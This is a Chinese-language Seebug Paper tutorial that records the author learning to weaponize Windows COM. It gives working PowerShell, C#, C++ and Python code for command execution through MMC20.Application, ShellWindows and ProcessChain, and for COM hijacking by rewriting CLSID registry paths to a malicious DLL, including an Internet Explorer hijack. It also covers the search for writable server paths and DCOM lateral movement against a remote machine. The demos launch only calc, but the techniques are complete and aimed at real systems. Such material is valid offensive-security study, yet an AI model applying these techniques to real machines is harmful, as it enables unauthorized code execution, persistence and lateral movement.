作者:0r@nge
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

前言

本文是作者從0到1學習com的一個過程,記錄了從初識com到com的武器化利用以及挖掘。com組件博大精深,無論是從開發的角度還是安全的角度都非常值得研究,本文僅作入門貼。

基礎知識

對于com的基本認知,摘自頭像哥博客。對于com,個人沒有系統的讀過微軟的文檔,一直都不怎么了解,頭像哥的這幾個總結比較適合我這種懶的讀文檔的人初步了解。

  1. 在設計層面,COM模型分為接口實現。 例如計劃任務示例代碼中的ITaskService

  2. 區分COM組件的唯一標識為Guid,分別為針對接口的IID(Interface IDentifier)與針對類的CLSID(CLaSs IDentifier)。 例如CLSID_TaskScheduler定義為0F87369F-A4E5-4CFC-BD3E-73E6154572DD

  3. COM組件需要在注冊表內進行注冊才可進行調用。通常情況下,系統預定義組件注冊于HKEY_LOCAL_MACHINE\SOFTWARE\Classes,用戶組件注冊于HKEY_CURRENT_USER\SOFTWARE\ClassesHKEY_CLASSES_ROOT為二者合并后的視圖,在系統服務角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes。 例如計劃任務組件的注冊信息注冊于HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}

  4. Windows最小的可獨立運行單元是進程,最小的可復用的代碼單元為類庫,所以COM同樣存在進程內(In-Process)進程外(Out-Of-Process)兩種實現方式。多數情況下,進程外COM組件為一個exe,進程內COM組件為一個dll。 例如計劃任務的COM對象為進程內組件,由taskschd.dll實現。

  5. 為方便COM組件調用,可以通過ProgId(Programmatic IDentifier)CLSID指定別名。 例如計劃任務組件的ProgId為Schedule.Service.1

  6. 客戶端調用CoCreateInstanceCoCreateInstanceExCoGetClassObject等函數時,將創建具有指定CLSID的對象實例,這個過程稱為激活(Activation)。 例如微軟示例代碼中的CoCreateInstance(CLSID_TaskScheduler,....)

  7. COM采用工廠模式(class factory)對調用方與實現方進行解耦,包括進程內外COM組件激活、通信、轉換,IUnknown::QueryInterfaceIClassFactory始終貫穿其中。 例如微軟示例代碼中的一大堆QueryInterface

還是有必要自己讀一下官方文檔,第一遍讀大部分官方術語是不太理解的,無傷大雅,能理解多少就理解多少。下面是我自己閱讀官方文檔總結的一些小點

  1. com程序一般是dll文件,被提供給主程序調用。不同的com程序具有不同的接口,但是所有的接口都是從class factory 和 IUnknown接口獲得的。所以com程序必須實現 class factory 和 Iunknown接口

  2. 接口是實現對對象數據訪問的函數集,而接口的函數稱為方法。每個接口都有自己的唯一接口標識符,叫IID, IID也是一個GUID(全局唯一標識符)。 在定義接口時,用IDL來定義,使用MIDL編譯會生成對應的都文件,根據頭文件我們自己實現編程調用

  3. IUnKnown接口 所有COM接口都繼承自IUnKnown接口,該接口具有3個成員函數,QueryInterface、AddRef、Release.

  4. CoCreateInstance 函數創建com實例并返回客戶端請求的接口指針。客戶端指的是將CLSID傳遞給系統并請求com對象實例的調用方,這里個人理解為編程人員的代碼獲取com服務器的指針,并調用接口的方法使用com服務,服務器端指的是向系統提供COM對象的模塊 com服務器主要有兩種,進程內和進程外,進程內服務器在dll中實現,進程外服務器在exe中實現。 如果要創建com對象,com服務器需要提供 IClassFactory 接口的實現,而且 IClassFactory 包含 CreateInstance方法。 IUnknown::QueryInterface和IClassFactory始終貫穿在com組件的調用中。

  5. 在注冊com服務器的時候,如果是進程內注冊,即dll,dll必須導出以下函數 DllRegisterServer DllUnregisterServer 注冊是將com對象寫進注冊表,自然離不開注冊表的一系列函數 RegOpenKey RegCreateKey ......

  6. 幾乎所有的COM函數和接口方法都返回HRESULT類型的值,但HRESULT不是句柄

com與注冊表的關系

HKEY_CLASSES_ROOT 用于存儲一些文檔類型、類、類的關聯屬性
HKEY_CURRENT_CONFIG 用戶存儲有關本地計算機系統的當前硬件配置文件信息
HKEY_CURRENT_USER 用于存儲當前用戶配置項
HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存儲當前用戶對計算機的配置項
HKEY_LOCAL_MACHINE 用于存儲當前用戶物理狀態
HKEY_USERS 用于存儲新用戶的默認配置項

image-20221101004116577

com調用需要的值

  1. CLSID
  2. IID
  3. 虛函數表
  4. 方法簽名

整理以后制作IDL,獲取到IDL之后,就可以使用合適的語言進行調用

GUID 用于在系統中唯一標識一個對象,CLSID(類標識符)是GUID在注冊表中的表示,用于在注冊表中唯一標識一個com類對象。guid在標識接口時稱為IID(接口標識符)

每一個注冊的clsid表項中都含有一個 InprocServer32的子項,該子項內有映射到該com二進制文件的鍵值對,操作系統通過該鍵值對將com二進制文件載入進程。

InprocServer32表示的是dll的實現路徑,LocalServer32表示的是exe的實現路徑

image-20221105121211445

com利用

執行命令

枚舉com對象

gwmi Win32_COMSetting | ? {$_.progid } | sort | ft ProgId,Caption,InprocServer32

COM接口里枚舉出來的函數(如果是微軟公開的話)可以到:https://docs.microsoft.com/en-us/search/?dataSource=previousVersions&terms= 搜索 例如:ExecuteShellCommand https://docs.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand

在調用函數的時候需要注意,如果CLSID子項帶有ProgID的話需要指定ProgID調用方法或屬性

可以查看com對象的方法

如下,該類型庫公開了start方法,接受bool傳參以及commandLine方法

image-20221107151218085

對com組件的利用可以直接使用powershell調用接口執行命令

這里可以調用mmc執行命令 ,后文會講到,mmc還支持遠程調用,等到DCOM那里會提

$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

image-20221108095405673

另一種調用COM執行命令 ShellWindows

$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")) 
$item = $hb.Item() 
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

image-20221109000628685

等等……還有很多

$shell = [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))
$shell.Run("calc.exe")

計劃任務

通過調用ITaskFolder::registerTask 來注冊計劃任務

這里頭像哥講的很通俗,可以參考

http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.1_basic.html

根據微軟官方稍作修改,實現dll武器化

進程注入

利用com實現進程注入,沒有調用CreateProcess等常規api,而是調用oleacc!GetProcessHandleFromHwnd(),利用 IRundown::DoCallback()執行命令,并且該接口需要一個IPID和OXID值來執行代碼。該接口也不是公開的方法,需要手動去逆,來實現武器化

image-20221111010506617

本人在復現時注入失敗,根據報錯查看,在調用com接口的時候連接失敗,猜測是微軟已經修復。

image-20221111011007974

代碼實現

https://github.com/mdsecactivebreach/com_inject

com劫持

我們知道dll劫持的原理是利用加載dll的路徑順序,替換原dll為惡意dll,那么com劫持是不是也是類似的呢

com組件的加載過程如下

HKCU\Software\Classes\CLSID
HKCR\CLSID
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\

可以看到HKCU的優先級高于HKCR高于HKLM

那我們的目標就很明顯了,劫持目標選擇 HKCU\Software\Classes\CLSID,這樣就會先加載我們的惡意dll。

與dll劫持不同的是,dll劫持只能劫持dll,com劫持可以劫持 com文件、pe文件、api文件等

步驟就是修改注冊表的路徑,指向我們的惡意路徑,和白加黑一樣

利用缺失的CLSID

嘗試一下對計算器進行com劫持,尋找 在InprocServer32下缺失的CLSID

因為修改InprocServer32下的dll需要一定權限,所以該方法需要管理員權限

image-20221108094138806

image-20221108103634466

保存并導出為csv

python實現自動化替換路徑

import csv

class Inject(object):
    def __init__(self):
        self.path='Logfile.CSV'

    def add(self):
        with open(self.path,'r',encoding='utf-8') as r:
            g=csv.DictReader(r)
            for name in g:
                z=[x for x in name]
                for i in z:
                    if 'HK' in str(name[i]):
                        print('reg add {} /ve /t REG_SZ /d C:\\Users\\Administrator\\Desktop\\test\\Dll64.dll /f'.format(name[i]),file=open('com_hijack.bat','a',encoding='utf-8'))

if __name__ == '__main__':
    obj=Inject()
    obj.add()
    print('[!] Administrator run com_hijack.bat')

生成bat后需要管理員權限打開,再次打開calc發現已經成功劫持

image-20221108110714769

該方法有個明顯的缺點,就是需要管理員權限。

所以這里出現了第二種方法

覆蓋COM鍵

原理:在HKCU注冊表中添加鍵值后,當com對象被調用,HKLM中的鍵值就會被覆蓋(并且添加到HKCR)中

先使用oleview.net來過濾程序啟動權限為空的id

image-20221108113614413

設置過濾規則

image-20221108114326835

隨手點開一個

image-20221108114630484

查看clsid

ADDA2EBE-0BA0-4FEA-A1DE-2F3C7C596099

可以看到調用的dll

image-20221108114730929

找到該CLSID對應的dll

image-20221108115102525

修改加載的dll為惡意dll

C:\Program Files\Mozilla Firefox\notificationserver.dll

image-20221108115321155

但在啟動的時候,發現并沒有劫持成功

image-20221108121002047

這里猜測可能是因為該dll沒有被調用,需要特定服務才能調用,火狐不是那么通用,也也不清楚具體是哪個服務進行調用

下面換一個計算器來進行演示

劫持ie

這里選擇ie瀏覽器進行劫持,對應的CLSID為{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},且該劫方法不需要高權限

可以看到本來的注冊表項鍵值

image-20221108123106134

修改注冊表

image-20221108132956508

啟動ie瀏覽器,劫持成功

image-20221108133213720

代碼實現

https://github.com/0range-x/windows/blob/main/dll_weapon/ieHijack.cpp

com注冊表的濫用

LocalServer32

枚舉所有LocalServer32鍵值

$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > values.txt

gwmi Win32_COMSetting -computername 127.0.0.1 | ft LocalServer32 -autosize | Out-String -width 4096 | out-file dcom_exes.txt

gwmi Win32_COMSetting -computername 127.0.0.1 | ft InProcServer32 -autosize | Out-String -width 4096 | out-file dcom_dlls.txt

image-20221108163132551

尋找File not Found

$paths = gc .\values.txt
foreach ($p in $paths){$p;cmd /c dir $p > $null}

image-20221108163300670

找exe的文件夾路徑,這里手工嘗試了不少,但是沒有發現everyone權限的文件夾路徑

image-20221108213025496

這里個人覺得尋找exe的效率很低,不如花時間去找dll實現武器化,畢竟dll的數量更多,利用的可能性更大

InprocServer32

枚舉所有InprocServer32中的鍵值

$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32} > demo.txt

image-20221108163120722

$paths = gc .\demo.txt
foreach ($p in $paths){$p;cmd /c dir $p > $null}

image-20221108163606393

同樣的,找文件夾的權限路徑,如果everyone可寫,可以替換惡意dll,然后使用rundll32加載

rundll32.exe -sta {CLSID}

DCOM橫移

com是在計算機本地的實現,DCOM是COM的進一步擴展,DCOM通過遠程過程調用(RPC)將com的功能在遠程計算機上實現,可以將DCOM理解為通過RPC實現的COM。

調用DCOM需要的條件。

通常情況下,調用DCOM連接到遠程計算機的時候,我們已經具有了本地管理員的權限

在很多com對象都看到APPid和CLSID是一個值,這里暫且將他們理解為CLSID的不同表示,就像GUID和CLSID一樣

枚舉支持DCOM的應用程序

Get-CimInstance -class Win32_DCOMApplication | select appid,name

image-20221108233828325

使用DCOM執行命令

$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView | gm           //查看方法

看到執行命令的方法

image-20221108234815550

調用執行

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

image-20221108234902647

遠程調用,需要關閉防火墻

$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.135.246")) 
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

另一種組件實現

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.135.246")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe","c:\windows\system32",$null, 0)

除了這兩種方法,支持DCOM調用的還有很多公開的方法,這里不再一一列舉,需要注意的是,不同的組件對不同的操作系統兼容性不同,建議投入實戰前先測試兼容性

Methods                     APPID
MMC20.Application           7e0423cd-1119-0928-900c-e6d4a52a0715
ShellWindows                9BA05972-F6A8-11CF-A442-00A0C90A8F39
ShellBrowserWindow          C08AFD90-F2A1-11D1-8455-00A0C91F3880


Document.Application.ServiceStart()
Document.Application.ServiceStop()
Document.Application.IsServiceRunning()
Document.Application.ShutDownWindows()
Document.Application.GetSystemInformation()

怎么來查找是否可以被我們利用呢?

可以通過oleview.net 來查找對應的CLSID和啟動權限,看到這里 Launch Permission為空,說明普通權限即可

image-20221109002907879

武器化實現

c#方法

以shellwindows為例

var CLSID = "9BA05972-F6A8-11CF-A442-00A0C90A8F39";
Type ComType = Type.GetTypeFromCLSID(new Guid(CLSID), ComputerName);
object RemoteComObject = Activator.CreateInstance(ComType);
object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { });
object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null);
object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null);
Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { BaseCommand, Parameters + " " + Command, Directory, null, 0 });

可以看到利用和powershell是一樣的,只是需要一步步獲取方法名,傳參多一點

c++實現

實現思路

  1. 初始化com組件(CoInitializeEx)
  2. 初始化com安全屬性(CoInitializeSecurity)
  3. 獲取com組件的接口(CLSIDFromProgID)
  4. 創建實例(CreateInstance)
  5. 填寫com組件參數
  6. 清理釋放(Release + CoUninitialize)

實現demo

https://github.com/0range-x/windows/blob/main/win32/proxychain.cpp

com挖掘

已公開的com對象

可以通過下面代碼遍歷所有com組件和它導出的方法

New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

image-20221105121801010

可以查看所有的成員方法

$Position  = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
      Write-Output "$($Position) - $($CLSID)"
      Write-Output "------------------------" | Out-File $Filename -Append
      Write-Output $($CLSID) | Out-File $Filename -Append
      $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
      $handle | Get-Member | Out-File $Filename -Append
      $Position += 1
}

image-20221111135353305

找關鍵詞 execute,exec,spawn,launch,runimage-20221111135506972

接著進行相應的傳參調用即可,類似shellWindows、mmc等

processChain的利用

實現是prchauto.dll,其中包含 tlib文件,可以用oleview打開

在注冊表中找到該com組件的實現文件

image-20221105124230752

查看方法,看到接受commandLine方法,說明可能存在利用

image-20221109225144671

去oleview中查看對應的tlb中包含的成員等信息

image-20221105131827386

將這個tlib文件保存到idl文件,然后使用MIDL將IDL文件轉換成需要的c++頭文件,頭文件中會定義這個類和接口的使用方法。

補充一下:idl是一種接口定義語言,idl文件是接口定義文件,包含接口和類型庫定義,MIDL是IDL文件的編譯器

接下來編譯idl,最開始的時候配置命令行版本的midl,但是老是報錯,后面發現可以直接在vs里編譯

image-20221107011930018

可以查看midl的輸出

image-20221107011949977

編譯后生成h文件和c文件

image-20221107012035149

我們需要根據頭文件來自己編程實現com組件的利用

image-20221107012122798

main.cpp

#define CLSID_ProcessChain L"{E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}"
#define IID_IProcessChain  L"{79ED9CB4-3A01-4ABA-AD3C-A985EE298B20}"

BOOL ProcessChain(wchar_t cmd[]) {
    HRESULT hr = 0;
    CLSID clsidIProcessChain = { 0 };
    IID iidIProcessChain = { 0 };
    IProcessChain* ProcessChain = NULL;
    BOOL bRet = FALSE;

    //初始化com環境
    CoInitialize(NULL);

    CLSIDFromString(CLSID_ProcessChain, &clsidIProcessChain);
    IIDFromString(IID_IProcessChain, &iidIProcessChain);

    //創建com接口
    hr = CoCreateInstance(clsidIProcessChain, NULL, CLSCTX_INPROC_SERVER, iidIProcessChain, (LPVOID*)&ProcessChain);

    //設置布爾值供start接受參數
    VARIANT_BOOL vb = VARIANT_TRUE;

    //設置參數
    ProcessChain->put_CommandLine((BSTR)cmd);

    //調用方法
    hr = ProcessChain->Start(&vb);
    printf("[+] Load successfully!");
    //釋放
    CoUninitialize();
    return TRUE;
}

未公開的com對象

需要利用一些逆向手段,和白加黑的挖掘比較相似(ps:以下方式僅僅是對這種方式的復現,并未去挖掘新的com利用)

那么,如果看不到它的方法或者參數怎么辦呢?這個時候就需要我們去逆向

在oleview里找到該方法調用的參數

image-20221109231930765

這種情況我們還無法確定是否可以創建其他進程

在ida里發現該dll確實調用了CreateProcess,雖然沒有找到具體是哪個方法調用的,但基本可以確定該com對象是可以執行命令創建進程的,上文的利用也是印證了這一點

image-20221109233856111

自動化挖掘

誠然,純手工挖掘com組件是很耗時的一件事情,下面介紹自動化挖掘com的方法

項目地址

https://github.com/nickvourd/COM-Hunter

大致介紹

image-20221111112209384

com劫持

image-20221111113030674

發現是oleacc.dll

image-20221111113151925

修改后啟動ie瀏覽器,劫持成功

image-20221111113426921

這種方式是不是比上面手動挖掘方便多了呢?但是也有缺點,找到的com并不完整,更深入的挖掘還是需要依靠手工

總結

com可以挖掘利用的點還有很多,瀏覽器、office等等各種功能都曾被挖掘出利用,現在已經成為對抗中的熱門領域,非常值得深度研究,包括劫持橫向提權等等……

本文也只是記錄個人在學習com從0-1的過程,如果有理解錯誤的地方,歡迎大家指正

參考文章

https://422926799.github.io/posts/73b20b1d.html

https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/

https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

https://github.com/rvrsh3ll/SharpCOM/blob/master/SharpCOM/Program.cs

http://www.bjnorthway.com/1624/

https://learn.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--c---

http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.1_basic.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2030/